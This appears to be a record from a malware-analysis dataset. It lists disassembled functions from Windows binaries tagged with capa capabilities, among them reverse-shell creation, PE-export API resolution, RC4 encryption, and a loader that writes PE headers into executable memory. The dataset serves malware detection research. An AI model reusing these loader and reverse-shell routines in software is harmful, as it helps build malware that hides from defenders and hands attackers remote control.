joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404960
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d60
call fcn.0040ff60
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x4940e8]
push ebx
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x4940ec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x1c], edx
call fcn.00404950
mov ecx, dword [0x4940f0]
mov edx, dword [0x4940f4]
add dword [ebp - 8], 0x23f
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], 0x20
jmp 0x4049d0
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov esi, dword [ebp - 0xc]
mov eax, dword [0x49b874]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x4049fc
mov dword [0x49b870], 0xedeb2e40
jmp 0x404a17
cmp eax, 0x3eb
jne 0x404a17
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [0x49b300], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x49b874], 0x9e6
mov dword [0x49b86c], 0xf4ea3dee
jne 0x404a52
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x49b874], 0x213
jne 0x404af0
push 0
lea eax, [ebp - 0x960]
push eax
push 0
push 0
push 0
push 0
call ebx
lea ecx, [ebp - 0x1560]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x1160]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
push 0
lea ecx, [ebp - 0x1d60]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
lea edx, [ebp - 0x30]
push edx
push 0
lea eax, [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea ecx, [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub edi, dword [ebp - 4]
cmp dword [0x49b874], 0xc
jne 0x404b0e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [ebp - 8]
mov edx, edi
shr edx, 5
lea ecx, [eax + edi]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, edi
shl eax, 4
add eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 4]
xor eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
sub dword [ebp - 8], eax
sub dword [ebp - 0x14], 1
jne 0x4049d0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404b60
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Read pipe
Set environment variable
Set thread local storage value
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1808
call fcn.0040ff60
mov eax, dword [0x49b874]
mov ecx, dword [0x49b304]
shr eax, 3
test eax, eax
jbe 0x404c78
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x49b874], 0x959
jne 0x404c5e
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
lea ecx, [ebp - 0xc08]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
lea edx, [ebp - 0x1008]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x1808]
push eax
push 0
call edi
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404960
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404ba0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1015e66e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.1000108e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
jne 0x1015e73c
lea eax, [esp + 0x38]
mov ecx, dword [0x1018f034]
add ecx, 0xffffefd3
mov dword [0x1018f034], ecx
mov dword [esp + 0x20], eax
call fcn.1015eb55
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x1c], ecx
jne 0x1015e7de
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.1015e3c0
lea ecx, [0x1015f7ab]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x84], edx
mov dword [esp + 0x58], 0x13a000
mov dword [0x1018f034], 0x15a6
mov edx, dword [0x1018f020]
mov dword [esp + 0x3c], edx
mov edx, dword [0x1018f024]
mov dword [esp + 0x54], edx
mov edx, dword [0x1018f028]
mov dword [esp + 0x70], edx
mov edx, dword [0x1018f02c]
mov dword [esp + 0x80], edx
mov edx, dword [0x1018f030]
mov dword [esp + 0x8c], edx
mov dword [0x1018f038], 0x109b
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1015e7b6
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1015e7b6
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x38], ecx
mov dword [0x1018f034], 0xfffff682
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x6c], esi
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1015f21a
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov ecx, dword [0x1018f034]
add ecx, 0xffffe5c3
mov dword [0x1018f038], ecx
mov dword [esp + 0x1c], eax
jmp 0x1015e7de
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x1015e746
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
je 0x1015e75a
jmp 0x1015e746
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
jmp 0x1015e73c
Function at 0x1015e860
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1015f34b
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov eax, dword [eax + esi]
cmp eax, 0x4550
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edi
je 0x1015e898
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x78]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [0x1018f038], 0x370c
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x20]
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + edx + 0x24]
mov dword [0x1018f034], 0x1fed
mov ebx, dword [esi + edx + 0x18]
cmp ebx, 0
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], eax
je 0x1015e9de
jmp 0x1015e9af
mov al, byte [ebp - 0x31]
test al, 1
jne 0x1015e8f2
jmp 0x1015e926
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
add eax, dword [ecx + edx*4]
mov dword [0x1018f034], 0x1415
mov dword [ebp - 0x30], eax
jmp 0x1015e9de
xor eax, eax
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov edx, dword [ebp - 0x38]
add edx, 2
mov esi, dword [ebp - 0x24]
cmp ecx, esi
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x30], eax
jb 0x1015e9bf
jmp 0x1015e9de
mov eax, dword [ebp - 0x50]
mov ecx, eax
mov edx, dword [ebp - 0x54]
add ecx, edx
mov esi, dword [ebp - 0x14]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x59], bh
mov byte [ebp - 0x31], cl
je 0x1015e8e9
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
cmp eax, 0x20
setb cl
mov dl, byte [ebp - 0x59]
cmp dl, 0
setne ch
mov dh, byte [ebp - 0x31]
and dh, ch
and dh, cl
test dh, 1
mov dword [ebp - 0x50], eax
jne 0x1015e94f
jmp 0x1015e8e9
xor eax, eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x50], edx
jmp 0x1015e94f
mov eax, dword [ebp - 0x30]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1015e9e9
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x1018f038]
add edi, 0x53c
mov dword [0x1018f038], edi
mov dword [0x1018f040], 0
mov byte [0x1018f044], 0
mov dword [0x1018f03c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1015eb02
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1018f048], 0
mov edx, dword [0x1018f040]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x1018f048], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x1018f040], edx
mov dword [0x1018f034], 0x918
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x1018f044], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x1018f034], 0x16c8
mov cl, byte [0x1018f044]
mov edx, dword [0x1018f040]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x1018f03c]
add edx, 1
mov dword [0x1018f03c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1015ea3b
jmp 0x1015eb43
xor eax, eax
mov dword [0x1018f034], 0x182
mov dword [0x1018f03c], 0
mov dword [ebp - 0x20], eax
jmp 0x1015ea3b
mov eax, dword [ebp - 0x1c]
mov dword [0x1018f038], 0x1e35
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1018f038]
add eax, 0x325
mov dword [0x1018f038], eax
mov eax, dword [0x1018f03c]
add eax, 1
mov dword [0x1018f03c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1015eb02
jmp 0x1015eae4
mov dword [0x1018f034], 0x26c
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1015eb55
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1015ebc8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1015ebb7
jmp 0x1015ebf7
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x1015ec08
jmp 0x1015ebf7
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1015ec19
jmp 0x1015ebf7
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1015ec3d
jmp 0x1015ebf7
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
je 0x1015eb92
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], eax
jl 0x1015ebc8
jmp 0x1015eb92
mov dword [0x1018f034], 0x982
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1015ec54
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x1015eba6
jmp 0x1015ebf7
mov eax, dword [0x1018f034]
add eax, 0xfffff36e
mov dword [0x1018f034], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1015eb81
jmp 0x1015ebf7
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
jne 0x1015ebf7
mov eax, dword [ebp - 0x20]
add esp, 0x20
pop ebp
ret
Function at 0x1015efc5
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1018f03c], 0
mov dword [0x1018f040], 0
mov dword [0x1018f04c], 0
mov dword [0x1018f034], 0x53e
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x1015f02c
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov dword [0x1018f038], 0xb88
mov edi, ecx
add edi, 1
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x1018f03c], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1018f040], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1018f044], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov edx, dword [0x1018f034]
add edx, 0x20cc
mov dword [0x1018f034], edx
mov cl, byte [0x1018f044]
mov edx, dword [0x1018f040]
mov byte [ebx + edx], cl
mov edx, dword [0x1018f03c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1018f040]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1018f04c], ecx
mov dword [0x1018f034], 0x395
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x38], edi
je 0x1015f024
mov eax, dword [0x1018f03c]
mov ecx, dword [0x1018f040]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x1015f02c
Function at 0x1015f21a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x1018f038]
mov edi, esi
add edi, 0xffffdf43
mov dword [0x1018f034], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
jmp 0x1015f285
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, 0xffffe336
mov dword [0x1018f038], ecx
mov dword [ebp - 0x3c], eax
call fcn.1015ec5c
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.1015f577
cmp eax, 0
mov dword [ebp - 0x40], eax
je 0x1015f342
jmp 0x1015f2ad
mov eax, dword [ebp - 0x38]
mov cl, byte [eax + 0x10160810]
mov dl, byte [eax + 0x101607e1]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x38], eax
je 0x1015f24c
jmp 0x1015f285
mov eax, dword [ebp - 0x40]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1015f11e
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov dword [0x1018f034], 0x21cb
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x40], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x44], ecx
add ecx, 0x1abb
mov esi, dword [ebp - 0x44]
cmp esi, 0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], eax
je 0x1015f338
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
add esp, 0x54
pop esi
pop edi
pop ebp
ret
xor eax, eax
add esp, 0x54
pop esi
pop edi
pop ebp
ret
Function at 0x402eb0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
mov edi, dword [eax + 0x38]
mov cl, byte [eax + 0x34]
test edi, edi
mov byte [esp + 0x10], cl
jle 0x402ef1
mov esi, dword [esp + 0x10]
and esi, 0xff
mov edx, dword [eax + 0x260]
mov ebx, edx
shr ebx, 0x18
xor ebx, esi
shl edx, 8
mov ebx, dword [ebx*4 + 0x43607c]
xor ebx, edx
dec edi
mov dword [eax + 0x260], ebx
jne 0x402ecf
mov edx, dword [eax + 0x34]
mov bl, 1
mov byte [eax + edx + 0x58], bl
mov edx, dword [eax + 0x38]
mov esi, edx
dec esi
je 0x402f9f
dec esi
je 0x402f7e
dec esi
je 0x402f64
mov byte [edx + eax + 0x54], bl
mov edx, dword [eax + 0x24]
mov esi, dword [eax + 0x44]
mov byte [edx + esi], cl
mov esi, dword [eax + 0x44]
inc esi
mov dword [eax + 0x44], esi
mov edx, esi
mov esi, dword [eax + 0x24]
mov byte [esi + edx], cl
mov edx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
inc edx
mov dword [eax + 0x44], edx
mov byte [esi + edx], cl
mov ebx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
inc ebx
mov edx, ebx
mov dword [eax + 0x44], ebx
mov byte [esi + edx], cl
mov edi, dword [eax + 0x44]
mov dl, byte [eax + 0x38]
mov esi, dword [eax + 0x24]
inc edi
sub dl, 4
mov ecx, edi
mov dword [eax + 0x44], edi
pop edi
mov byte [esi + ecx], dl
mov ecx, dword [eax + 0x44]
inc ecx
pop esi
mov dword [eax + 0x44], ecx
pop ebx
ret
mov edx, dword [eax + 0x24]
mov esi, dword [eax + 0x44]
mov byte [edx + esi], cl
mov esi, dword [eax + 0x44]
inc esi
mov dword [eax + 0x44], esi
mov edx, esi
mov esi, dword [eax + 0x24]
mov byte [esi + edx], cl
jmp 0x402f87
mov edx, dword [eax + 0x24]
mov esi, dword [eax + 0x44]
mov byte [edx + esi], cl
mov edx, dword [eax + 0x44]
mov esi, dword [eax + 0x24]
inc edx
pop edi
mov dword [eax + 0x44], edx
mov byte [esi + edx], cl
mov ecx, dword [eax + 0x44]
inc ecx
pop esi
mov dword [eax + 0x44], ecx
pop ebx
ret
mov edx, dword [eax + 0x24]
mov esi, dword [eax + 0x44]
pop edi
mov byte [edx + esi], cl
mov ecx, dword [eax + 0x44]
inc ecx
pop esi
mov dword [eax + 0x44], ecx
pop ebx
ret
Function at 0x4053d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
test ebx, ebx
jne 0x4053dd
xor eax, eax
pop ebx
ret
push ebp
push esi
call fcn.004053c0
mov ebp, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
test ebp, ebp
not esi
je 0x405411
test bl, 3
je 0x405411
mov ecx, esi
xor edx, edx
mov dl, byte [ebx]
and ecx, 0xff
xor ecx, edx
shr esi, 8
mov ecx, dword [eax + ecx*4]
xor esi, ecx
inc ebx
dec ebp
jne 0x4053f2
cmp ebp, 0x10
push edi
mov ecx, ebx
jb 0x40554b
mov ebx, ebp
shr ebx, 4
mov edi, dword [ecx]
add ecx, 4
xor esi, edi
add ecx, 4
mov edx, esi
add ecx, 4
and edx, 0xff
add ecx, 4
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edi, dword [eax + edx*4]
xor edi, esi
mov edx, edi
and edx, 0xff
shr edi, 8
mov edx, dword [eax + edx*4]
xor edx, edi
mov edi, dword [ecx - 0xc]
xor edx, edi
mov edi, dword [ecx - 8]
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
xor edx, edi
mov edi, dword [ecx - 4]
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
xor edx, edi
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
sub ebp, 0x10
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor esi, edx
dec ebx
jne 0x405422
cmp ebp, 4
jb 0x4055a2
mov edi, ebp
shr edi, 2
mov ebx, dword [ecx]
add ecx, 4
xor esi, ebx
sub ebp, 4
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
mov edx, esi
and edx, 0xff
shr esi, 8
mov edx, dword [eax + edx*4]
xor edx, esi
mov esi, edx
and esi, 0xff
shr edx, 8
mov esi, dword [eax + esi*4]
xor esi, edx
dec edi
jne 0x405555
test ebp, ebp
pop edi
je 0x4055c1
mov edx, esi
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr esi, 8
mov edx, dword [eax + edx*4]
xor esi, edx
inc ecx
dec ebp
jne 0x4055a7
mov eax, esi
pop esi
pop ebp
pop ebx
not eax
ret